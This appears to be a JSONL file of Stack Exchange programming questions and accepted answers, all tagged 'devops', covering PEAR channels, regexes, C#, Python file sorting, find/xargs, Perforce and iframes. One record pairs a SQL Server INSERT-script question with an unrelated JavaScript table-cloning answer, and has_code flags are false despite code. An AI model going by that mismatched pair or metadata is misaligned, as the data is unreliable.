{"id": "hf_198a57f3726a", "question": "<p>I am looking for instructions on how to setup a PEAR channel for our project so that we can deploy it with the pear installer. I have searched the web for a while and cannot find any straightforward information. I followed <a href=\"http://greg.chiaraquartet.net/archives/123-Setting-up-your-own-PEAR-channel-with-Chiara_PEAR_Server-the-official-way.html\" rel=\"nofollow noreferrer\">this tutorial</a> for a while, but I am having a hell of a time getting this to work. Does anyone know how to do this? Is there a simpler way?</p>\n", "question_body": "", "answer": "It looks like you are one of the few people who want to do this. That tutorial you linked to appears to be the latest (!) but the package is still\nsomewhat in development\n. The documentation in that package is also non-existent. It looks like it's up to you to write the docs. Or maybe contact\nGreg Beaver\n; the author of the package and blog post you linked to. He also\nwrote a book about PEAR\n(albeit in 2006.) The amazon writeup mentions this:\nNext, you will learn how to set up\n  your own PEAR Channel for distributing\n  PHP applications, both open-source and\n  proprietary closed-source PHP\n  applications that can be secured using\n  technology already built into the PEAR\n  Installer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.175091"}
{"id": "hf_32715be7cb0b", "question": "<p>I've been trying to get up to speed on some of the newer features in C# and one of them that I haven't had occasion to use is anonymous types.</p>\n\n<p>I understand the usage as it pertains to LINQ queries and I looked at <a href=\"https://stackoverflow.com/questions/48668/how-should-anonymous-types-be-used-in-c\">this SO post</a> which asked a similar question.  Most of the examples I've seen on the net are related to LINQ queries, which is cool.  I saw some somewhat contrived examples too but not really anything where I saw a lot of value.  </p>\n\n<p>Do you have a novel use for anonymous types where you think it really provides you some utility?</p>\n", "question_body": "", "answer": "The biggest use for anonymous types is LINQ, in fact that's why it was created.\nI guess one reason for an anonymous type outside of linq is to create a temporary struct-like object, e.g.:\n```\n```\nvar x = new { a = 1, b = 2 };\n```\n```\nThat may make your life a little easier in some situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.201481"}
{"id": "hf_81a15106e57e", "question": "<p>Can someone provide a regular expression for parsing name/value pairs from a string?  The pairs are separated by commas, and the value can optionally be enclosed in quotes.  For example:</p>\n\n<pre><code>AssemblyName=foo.dll,ClassName=\"SomeClass\",Parameters=\"Some,Parameters\"\n</code></pre>\n", "question_body": "", "answer": "No escape:\n```\n```\n/([^=,]*)=(\"[^\"]*\"|[^,\"]*)/\n```\n```\nDouble quote escape for both key and value:\n```\n```\n/((?:\"[^\"]*\"|[^=,])*)=((?:\"[^\"]*\"|[^=,])*)/\n\nkey=value,\"key with \"\" in it\"=\"value with \"\" in it\",key=value\" \"with\" \"spaces\n```\n```\nBackslash string escape:\n```\n```\n/([^=,]*)=(\"(?:\\\\.|[^\"\\\\]+)*\"|[^,\"]*)/\n\nkey=value,key=\"value\",key=\"val\\\"ue\"\n```\n```\nFull backslash escape:\n```\n```\n/((?:\\\\.|[^=,]+)*)=(\"(?:\\\\.|[^\"\\\\]+)*\"|(?:\\\\.|[^,\"\\\\]+)*)/\n\nkey=value,key=\"value\",key=\"val\\\"ue\",ke\\,y=val\\,ue\n```\n```\nEdit:\nAdded escaping alternatives.\nEdit2:\nAdded another escaping alternative.\nYou would have to clean up the keys/values by removing any escape-characters and surrounding quotes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.245909"}
{"id": "hf_ba76ea98b58d", "question": "<p>I have a webpage that pulls information from a database, converts it to .csv format, and writes the file to the HTTPResponse.  </p>\n\n<pre><code>string csv = GetCSV();\nResponse.Clear();\nResponse.ContentType = \"text/csv\";\nResponse.Write(csv);\n</code></pre>\n\n<p>This works fine, and the file is sent to the client with no problems.  However, when the file is sent to the client, the name of the current page is used, instead of a more friendly name (like \"data.csv\").</p>\n\n<p><img src=\"https://ktrauberman.files.wordpress.com/2008/10/exportcsv.gif\" alt=\"alt text\"></p>\n\n<p>My question is, how can I change the name of the file that is written to the output stream without writing the file to disk and redirecting the client to the file's url?  </p>\n\n<p><strong>EDIT:  Thanks for the responses guys.  I got 4 of the same response, so I just chose the first one as the answer.</strong></p>\n", "question_body": "", "answer": "I believe this will work for you.\n```\n```\nResponse.AddHeader(\"content-disposition\", \"attachment; filename=NewFileName.csv\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.265424"}
{"id": "hf_807bffeededf", "question": "<p>In a recent project the \"lead\" developer designed a database schema where \"larger\" tables would be split across two separate databases with a view on the main database which would union the two separate database-tables together.  The main database is what the application was driven off of so these tables looked and felt like ordinary tables (except some quirky things around updating).  This seemed like a HUGE performance problem.  We do see problems with performance around these tables but nothing to make him change his mind about his design.  Just wondering what is the best way to do this, or if it is even worth doing?</p>\n", "question_body": "", "answer": "Which version of SQL Server are you using? SQL Server 2005 has partitioned tables, but in 2000 (or 7.0) you needed to use partition views.\nAlso, what was the reasoning for putting the table partitions in a separate database?\nWhen I've had to partition tables in the past (pre-2005), it's usually by a date column or something similar, with a view over the various partitions. Books Online has a section that talks about how to do this and all of the rules around it. You need to follow the  rules to make it work how it's supposed to work.\nThe key thing to remember is that your partitioning column must be part of the primary key and you want to try to always use that column in any access against the table so that the optimizer can ignore partitions that shouldn't be affected by the query.\nLook up \"partitioned table\" in MSDN and you should be able to find a more complete tutorial for SQL Server 2005 partitioned tables as well as advice on how to set them up for maximum performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.495733"}
{"id": "hf_10b3b4c67dc6", "question": "<p>I find that quite often Visual Studio memory usage will average ~150-300 MB of RAM.</p>\n\n<p>As a developer who very often needs to run with multiple instances of Visual Studio open, are there any performance tricks to optimize the amount of memory that VS uses?</p>\n\n<p>I am running VS 2005 with one add-in (TFS)</p>\n", "question_body": "", "answer": "From\nthis blog post\n:\n[...]\nThese changes are all available from the Options dialog (Tools –> Options):\nEnvironment\nGeneral\n:\nDisable “Animate environment tools”\nDocuments\n:\nDisable “Detect when file is changed outside the environment”\nKeyboard\n:\nRemove the F1 key from the Help.F1Help command\nHelp\\Online\n:\nSet “When loading Help content” to “Try local first, then online” or “Try local only, not online”\nStartup\n:\nChange the “At startup” option to “Show empty environment”\nProjects and Solutions\nGeneral\n:\nDisable “Track Active Item in Solution Explorer”\nText Editor\nGeneral\n(for each language you want):\nDisable “Navigation bar” (this is the toolbar that shows the objects and procedures drop down lists allowing you to choose a particular object in your code.\nDisable “Track changes”\nWindows Forms Designer\nGeneral\n:\nSet “AutotoolboxPopulate” to false.\nSet “EnableRefactoringOnRename” to false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.519137"}
{"id": "hf_710a3b0bc179", "question": "<p>Is there a way to use .NET reflection to capture the values of all parameters/local variables?</p>\n", "question_body": "", "answer": "Reflection is not used to capture information from the stack.  It reads the Assembly.\nYou might want to take a look at StackTrace\nhttp://msdn.microsoft.com/en-us/library/system.diagnostics.stacktrace.aspx\nGood article here:\nhttp://www.codeproject.com/KB/trace/customtracelistener.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.543757"}
{"id": "hf_dbcfd59057cb", "question": "<p>I have run across an XML Schema with the following definition:</p>\n\n<pre><code>&lt;xs:simpleType name=\"ClassRankType\"&gt;\n    &lt;xs:restriction base=\"xs:integer\"&gt;\n        &lt;xs:totalDigits value=\"4\"/&gt;\n        &lt;xs:minInclusive value=\"1\"/&gt;\n        &lt;xs:maxInclusive value=\"9999\"/&gt;\n    &lt;/xs:restriction&gt;\n&lt;/xs:simpleType&gt;\n</code></pre>\n\n<p>However, it seems to me that <code>totalDigits</code> is redundant.  I am somewhat new to XML Schema, and want to make sure I'm not missing something.</p>\n\n<p>What is the actual behavior of <code>totalDigits</code> vs. <code>maxInclusive</code>?</p>\n\n<p>Can <code>totalDigits</code> always be represented with a combination of <code>minInclusive</code> and <code>MaxInclusive</code>?  </p>\n\n<p>How does <code>totalDigits</code> affect negative numbers?</p>\n", "question_body": "", "answer": "can totalDigits always be represented with a combination of minInclusive and MaxInclusive?\nIn this case, yes. As you're dealing with an integer, the value must be a whole number, so you have a finite set of values between\n```\nminInclusive\n```\nand\n```\nmaxInclusive\n```\n. If you had decimal values,\n```\ntotalDigits\n```\nwould tell you how many numbers in total that value could have.\nHow does totalDigits affect negative numbers?\nIt is the total number of digits allowed in the number, and is not affected by decimal points, minus signs, etc. From\nauxy.com\n:\nThe number specified by the value attribute of the\n```\n<xsd:totalDigits>\n```\nfacet will restrict the total number of digits that are allowed in the number, on both sides of the decimal point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.567163"}
{"id": "hf_cd82e4b561e4", "question": "<p>What is the best way to get a list of all files in a directory, sorted by date [created | modified], using python, on a windows machine?</p>\n", "question_body": "", "answer": "I've done this in the past for a Python script to determine the last updated files in a directory:\n```\n```\nimport glob\nimport os\n\nsearch_dir = \"/mydir/\"\n# remove anything from the list that is not a file (directories, symlinks)\n# thanks to J.F. Sebastion for pointing out that the requirement was a list \n# of files (presumably not including directories)  \nfiles = list(filter(os.path.isfile, glob.glob(search_dir + \"*\")))\nfiles.sort(key=lambda x: os.path.getmtime(x))\n```\n```\nThat should do what you're looking for based on file mtime.\nEDIT\n: Note that you can also use os.listdir() in place of glob.glob() if desired - the reason I used glob in my original code was that I was wanting to use glob to only search for files with a particular set of file extensions, which glob() was better suited to. To use listdir here's what it would look like:\n```\n```\nimport os\n\nsearch_dir = \"/mydir/\"\nos.chdir(search_dir)\nfiles = filter(os.path.isfile, os.listdir(search_dir))\nfiles = [os.path.join(search_dir, f) for f in files] # add path to each file\nfiles.sort(key=lambda x: os.path.getmtime(x))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.601572"}
{"id": "hf_d351ff9d8d56", "question": "<p>For my current project, I need to request XML data over a tcp/ip socket connection.  For this, I am using the TcpClient class:</p>\n\n<pre><code>Dim client As New TcpClient()\nclient.Connect(server, port)\n\nDim stream As NetworkStream = client.GetStream()\nstream.Write(request)\nstream.Read(buffer, 0, buffer.length)\n\n// Output buffer and return results...\n</code></pre>\n\n<p>Now this works fine and dandy for small responses.  However, when I start receiving larger blocks of data, it appears that the data gets pushed over the socket connection in bursts.  When this happens, the stream.Read call only reads the first burst, and thus I miss out on the rest of the response.  </p>\n\n<p>What's the best way to handle this issue?  Initially I tried to just loop until I had a valid XML document, but I found that in between stream.Read calls the underlying stream would sometimes get shut down and I would miss out on the last portion of the data.</p>\n", "question_body": "", "answer": "You create a loop for reading.\nStream.Read returns int for the bytes it read so far, or 0 if the end of stream is reached.\nSo, its like:\n```\n```\nint bytes_read = 0;\nwhile (bytes_read < buffer.Length)\n   bytes_read += stream.Read(buffer, bytes_read, buffer.length - bytes_read);\n```\n```\nEDIT: now, the question is how you determine the size of the buffer. If your server first sends the size, that's ok, you can use the above snippet. But if you have to read until the server closes the connection, then you have to use try/catch (which is good idea even if you know the size), and use bytes_read to determine what you received.\n```\n```\nint bytes_read = 0;\ntry\n{\n   int i = 0;\n   while ( 0 < (i = stream.Read(buffer, bytes_read, buffer.Length - bytes_read) )\n      bytes_read += i;\n}\ncatch  (Exception e)\n{\n//recover\n}\nfinally\n{\nif (stream != null)\n   stream.Close();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.628980"}
{"id": "hf_ed106e9a4203", "question": "<p>I have a personal wiki that I take notes on.  The wiki's pages are in a subversion working copy directory, \"pages\", and I set their permissions to 664, owned by www-data:www-data.  My username is in the \"www-data\" group, so I can checkin and mess with the pages manually.</p>\n\n<p>For a while, I had an issue because every time I ran a checkin, the files would be owned by me:www-data instead of www-data:www-data, and I would no longer be able to change the wiki files through my web interface!  I solved the issue by flipping the setgid bit on the \"pages\" directory, but I'm still confused as to why this happened in the first place:</p>\n\n<p>Every time I check something into subversion, it appears as if svn deletes it and recreates it.  Why?  Does this behavior support some functionality that I'm not aware of?  Is there a way to change it?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I think you are using it wrong. What you could do is still have everything in subversion and have your local working copy separate from the www directory which you develop on.\nThen just have the www working-copy auto-updated (or exported if you don't want the .svn directories in the www foldeR) for the www-user by some script (perhaps as a\npost-commit\nhook) which then setups permissions accordingly.\nWork flow would be:\nedit files in /home/youruser/yourwiki-working-copy/\ndo svn commit\npost-commit hook updates the files in /var/www/ (or wherever the wiki is located)\ngoto 1.\nThis way, you don't have to worry about permissions and you can even have more than one person work on the web site with all the benefits of version control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.660397"}
{"id": "hf_cc2990d27b63", "question": "<p>How do you post data to an iframe?</p>\n", "question_body": "", "answer": "Depends what you mean by \"post data\". You can use the HTML\n```\ntarget=\"\"\n```\nattribute on a\n```\n<form />\n```\ntag, so it could be as simple as:\n```\n```\n<form action=\"do_stuff.aspx\" method=\"post\" target=\"my_iframe\">\n  <input type=\"submit\" value=\"Do Stuff!\">\n</form>\n\n<!-- when the form is submitted, the server response will appear in this iframe -->\n<iframe name=\"my_iframe\" src=\"not_submitted_yet.aspx\"></iframe>\n```\n```\nIf that's not it, or you're after something more complex, please edit your question to include more detail.\nThere is a known bug with Internet Explorer that only occurs when you're dynamically creating your iframes, etc. using Javascript (there's a\nwork-around here\n), but if you're using ordinary HTML markup, you're fine. The target attribute and frame names isn't some clever ninja hack; although it was deprecated (and therefore won't validate) in HTML 4 Strict or XHTML 1 Strict, it's been part of HTML since 3.2, it's formally part of HTML5, and it works in just about every browser since Netscape 3.\nI have verified this behaviour as working with XHTML 1 Strict, XHTML 1 Transitional, HTML 4 Strict and in \"quirks mode\" with no DOCTYPE specified, and it works in all cases using Internet Explorer 7.0.5730.13. My test case consist of two files, using classic ASP on IIS 6; they're reproduced here in full so you can verify this behaviour for yourself.\ndefault.asp\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC\n  \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html>\n  <head>\n    <title>Form Iframe Demo</title>\n  </head>\n  <body>\n  <form action=\"do_stuff.asp\" method=\"post\" target=\"my_frame\">\n    <input type=\"text\" name=\"someText\" value=\"Some Text\">\n    <input type=\"submit\">\n  </form>\n  <iframe name=\"my_frame\" src=\"do_stuff.asp\">\n  </iframe>\n  </body>\n</html>\n```\n```\ndo_stuff.asp\n```\n```\n<%@Language=\"JScript\"%><?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html PUBLIC\n  \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html>\n  <head>\n    <title>Form Iframe Demo</title>\n  </head>\n  <body>\n  <% if (Request.Form.Count) { %>\n  You typed: <%=Request.Form(\"someText\").Item%>\n  <% } else { %>\n  (not submitted)\n  <% } %>\n  </body>\n</html>\n```\n```\nI would be very interested to hear of any browser that doesn't run these examples correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.732066"}
{"id": "hf_eb7d5ca5e24a", "question": "<p>Since <em>length</em> is a JavaScript property, does it matter whether I use</p>\n\n<pre><code>for( var i = 0; i &lt; myArray.length; i++ )\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>var myArrayLength = myArray.length;\nfor( var i = 0; i &lt; myArrayLength ; i++ )\n</code></pre>\n\n<p>­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "```\n```\nfor(var i = 0, iLen = myArray.length; i < iLen; i++)\n```\n```\nSee\nhttp://blogs.oracle.com/greimer/resource/loop-test.html\nfor benchmarks of various Javascript loop constructs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.756780"}
{"id": "hf_f670e08c43a9", "question": "<p>I've only started playing with both ASP.Net MVC and the new-to-VS2008 Dynamic Data Website Templates.  I note that they both use routing in their URL handling, and I'm given to understand that because of routing, ASP.Net MVC won't work under IIS6.  However my DynamicData site works just fine on IIS6.</p>\n\n<p>I've had to temporarily abandon my exploration of ASP.Net MVC for an upcoming project due to the IIS7 requirement, and I'm wondering what the essential difference between the two is under the hood, i.e. what makes DynamicData sites work on IIS6 and MVC not?</p>\n", "question_body": "", "answer": "ASP.NET MVC does indeed work under\nIIS6\n(and IIS5 for that matter) as long as you\nenable wildcard mappings\nto ASP.NET. I have deployed MVC applications to production using IIS6, so I can guarantree that it's possible.\nThe key difference is that all URLs in DynamicData end in a file with an ASPX extension so, regardless of physical existance, the ASP.NET runtime is invoked (because ASPX is associated with ASP.NET), whereas most ASP.NET MVC requests to not have an extension (or have an MVC extension, which is not mapped by default) and thus IIS configuration is required before it will work.\nIIS7 works automatically because IIS7 itself is managed and thus there is no separation between IIS/ASP.NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.779003"}
{"id": "hf_ab55ed547f05", "question": "<p>I didn't realize until recently that Perl 5.10 had significant new features and I was wondering if anyone could give me some good resources for learning about those.  I searched for them on Google and all I found was some slides and a quick overview.  Some of the features (to me at least) would be nice if they had more explanation.</p>\n\n<p>Any links would be appreciated.</p>\n\n<p>-fREW</p>\n", "question_body": "", "answer": "The\nperldelta\nmanpage has all the nitty-gritty details. There's a brief (but informative) slide presentation,\nPerl 5.10 for people who aren't totally insane\n. And a good\nPerlMonks discussion\non the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.852143"}
{"id": "hf_7c9211a26d56", "question": "<p>How can I display a tooltip over a button using <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"noreferrer\">Windows Forms</a>?</p>\n", "question_body": "", "answer": "Sure, just handle the mousehover event and tell it to display a tool tip.\nt is a tooltip defined either in the globals or in the constructor using:\n```\n```\nToolTip t = new ToolTip();\n```\n```\nthen the event handler:\n```\n```\nprivate void control_MouseHover(object sender, EventArgs e)\n{\n  t.Show(\"Text\", (Control)sender);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.900828"}
{"id": "hf_2b96933d3384", "question": "<p><a href=\"http://www.python.org/doc/2.5.2/lib/module-tempfile.html\" rel=\"noreferrer\">tempfile.mkstemp()</a> returns:</p>\n\n<blockquote>\n  <p>a tuple containing an OS-level handle to an open file (as would be returned by os.open()) and the absolute pathname of that file, in that order.</p>\n</blockquote>\n\n<p>How do I convert that OS-level handle to a file object?</p>\n\n<p>The <a href=\"http://www.python.org/doc/2.5.2/lib/os-fd-ops.html\" rel=\"noreferrer\">documentation for os.open()</a> states: </p>\n\n<blockquote>\n  <p>To wrap a file descriptor in a \"file\n  object\", use fdopen().</p>\n</blockquote>\n\n<p>So I tried:</p>\n\n<pre><code>&gt;&gt;&gt; import tempfile\n&gt;&gt;&gt; tup = tempfile.mkstemp()\n&gt;&gt;&gt; import os\n&gt;&gt;&gt; f = os.fdopen(tup[0])\n&gt;&gt;&gt; f.write('foo\\n')\nTraceback (most recent call last):\n  File \"&lt;stdin&gt;\", line 1, in ?\nIOError: [Errno 9] Bad file descriptor\n</code></pre>\n", "question_body": "", "answer": "You can use\n```\n```\nos.write(tup[0], \"foo\\n\")\n```\n```\nto write to the handle.\nIf you want to open the handle for writing you need to add the\n\"w\"\nmode\n```\n```\nf = os.fdopen(tup[0], \"w\")\nf.write(\"foo\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.935195"}
{"id": "hf_54fcf89b06be", "question": "<p>I can do this:</p>\n\n<pre><code>$ find .\n.\n./b\n./b/foo\n./c\n./c/foo\n</code></pre>\n\n<p>And this:</p>\n\n<pre><code>$ find . -type f -exec cat {} \\;\nThis is in b.\nThis is in c.\n</code></pre>\n\n<p>But not this:</p>\n\n<pre><code>$ find . -type f -exec cat &gt; out.txt {} \\;\n</code></pre>\n\n<p>Why not?</p>\n", "question_body": "", "answer": "find's -exec argument runs the command you specify once for each file it finds. Try:\n```\n```\n$ find . -type f -exec cat {} \\; > out.txt\n```\n```\nor:\n```\n```\n$ find . -type f | xargs cat > out.txt\n```\n```\nxargs converts its standard input into command-line arguments for the command you specify. If you're worried about embedded spaces in filenames, try:\n```\n```\n$ find . -type f -print0 | xargs -0 cat > out.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.982866"}
{"id": "hf_ee3ad4cf3f2e", "question": "<p>I am creating some build scripts that interact with Perforce and I would like to mark for delete a few files. What exactly is the P4 syntax using the command line?</p>\n", "question_body": "", "answer": "```\n```\np4 delete filename\n```\n```\n(output of p4 help delete)\ndelete -- Open an existing file to delete it from the depot\np4 delete [ -c changelist# ] [ -n ] file ...\n```\n```\nOpens a file that currently exists in the depot for deletion.\nIf the file is present on the client it is removed.  If a pending\nchangelist number is given with the -c flag the opened file is\nassociated with that changelist, otherwise it is associated with\nthe 'default' pending changelist.\n\nFiles that are deleted generally do not appear on the have list.\n\nThe -n flag displays what would be opened for delete without actually\nchanging any files or metadata.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.022740"}
{"id": "hf_0c98a249ae6f", "question": "<p>I want to start working with TDD but I don't know really where to start. We coding with .NET (C#/ASP.NET).</p>\n", "question_body": "", "answer": "See the questions\nWhy should I practice Test Driven Development and how should I start?\n,\nMoving existing code to Test Driven Development\n,\nWhat is unit testing?\nand\nWhat is TDD?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.093346"}
{"id": "hf_84fb566854d2", "question": "<p>I have a table with one column and about ten rows.  The first column has rows with text as row headers, \"header 1\", \"header 2\".  The second column contains fields for the user to type data (<em>textboxes</em> and <em>checkboxes</em>).  </p>\n\n<p>I want to have a button at the top labelled \"<em>Add New...</em>\", and have it create a third column, with the same fields as the first column.  If the user clicks it again, it will create another blank column with fields (as in the second column).</p>\n\n<p>Does anyone know of an effective way to manipulate the DOM to achieve this?</p>\n\n<p>I'm experimenting with <code>div</code>'s and <code>TABLES</code> but i'm on my third day of doing this, and it feels harder than it should be.</p>\n", "question_body": "", "answer": "Something along the lines of\n```\n```\nfunction(table)\n{\n  for(var i=0;i<table.rows.length;i++)\n  {\n    newcell = table.rows[i].cells[0].cloneNode(true);\n    table.rows[i].appendChild(newcell);\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.128505"}
{"id": "hf_096577602a24", "question": "<p>Given a table or a temp table, I'd like to run a procedure that will output a SQL script (i.e. a bunch of INSERT statements) that would populate the table.  Is this possible in MS SQL Server 2000?</p>\n", "question_body": "", "answer": "Something along the lines of\n```\n```\nfunction(table)\n{\n  for(var i=0;i<table.rows.length;i++)\n  {\n    newcell = table.rows[i].cells[0].cloneNode(true);\n    table.rows[i].appendChild(newcell);\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.151969"}
{"id": "hf_719795cbfbb2", "question": "<p>How would you go about introducing acceptance tests into a team using the .NET framework?  What tools are available for this purpose?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You might want to take a look at FitNesse, which is meant to be a way for Acceptance tests to look like a wiki document (so that they can be read and written by QA or project managers)\nhttp://fitnesse.org/\nHere's a good intro\nhttp://ablog.apress.com/?p=735", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.175502"}
{"id": "hf_3acdd59920cd", "question": "<p>I have a table on SQL2000 with a numeric column and I need the select to return a 01, 02, 03...</p>\n\n<p>It currently returns 1,2,3,...10,11...</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Does this work?\n```\n```\nSELECT REPLACE(STR(mycolumn, 2), ' ', '0')\n```\n```\nFrom\nhttp://foxtricks.blogspot.com/2007/07/zero-padding-numeric-value-in-transact.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.199260"}
{"id": "hf_dd40da9cadbc", "question": "<p>Can anyone recommend for/against the time-travel functions in postgresql's contrib/spi module?  Is there an example available anywhere?</p>\n\n<p>Tnx</p>\n", "question_body": "", "answer": "The argument for time-travel would be being able to look at tables that are updated often at an earlier insertion/deletion point. Say a table of stock prices for a firms investment portfolio.\nThe argument against would be the extra storage space it eats up.\nHere is an\nExample\nof use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.235974"}
{"id": "hf_f9aa85ae300f", "question": "<p>I have an third-party applet that requires JRE v1.5_12 to work correctly.  THe user is installing JRE v1.6.07 or better.  It used to be with 1.5 and below, that I could have multiple JRE's on the machine and specify which one to use - but with 1.6 that apepars to be broken.  How do I tell the browser I want to use v1.5_12 instead of the latest one installed?</p>\n", "question_body": "", "answer": "For security reasons, you can no longer force it to use older JRE's. Say release 12 has a huge security hole, and everyone installs release 13 to patch it. Evil java applets could just say \"run with release 12 please\" and then carry out their exploits, rendering the patches useless.\nMost likely you have some code with security holes that the newer JRE is blocking, because it would cause a security risk. Fix your code, should be pretty minor changes, then you wont have to worry.\nSee\nthis page\nfor more info on the change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:34.283837"}
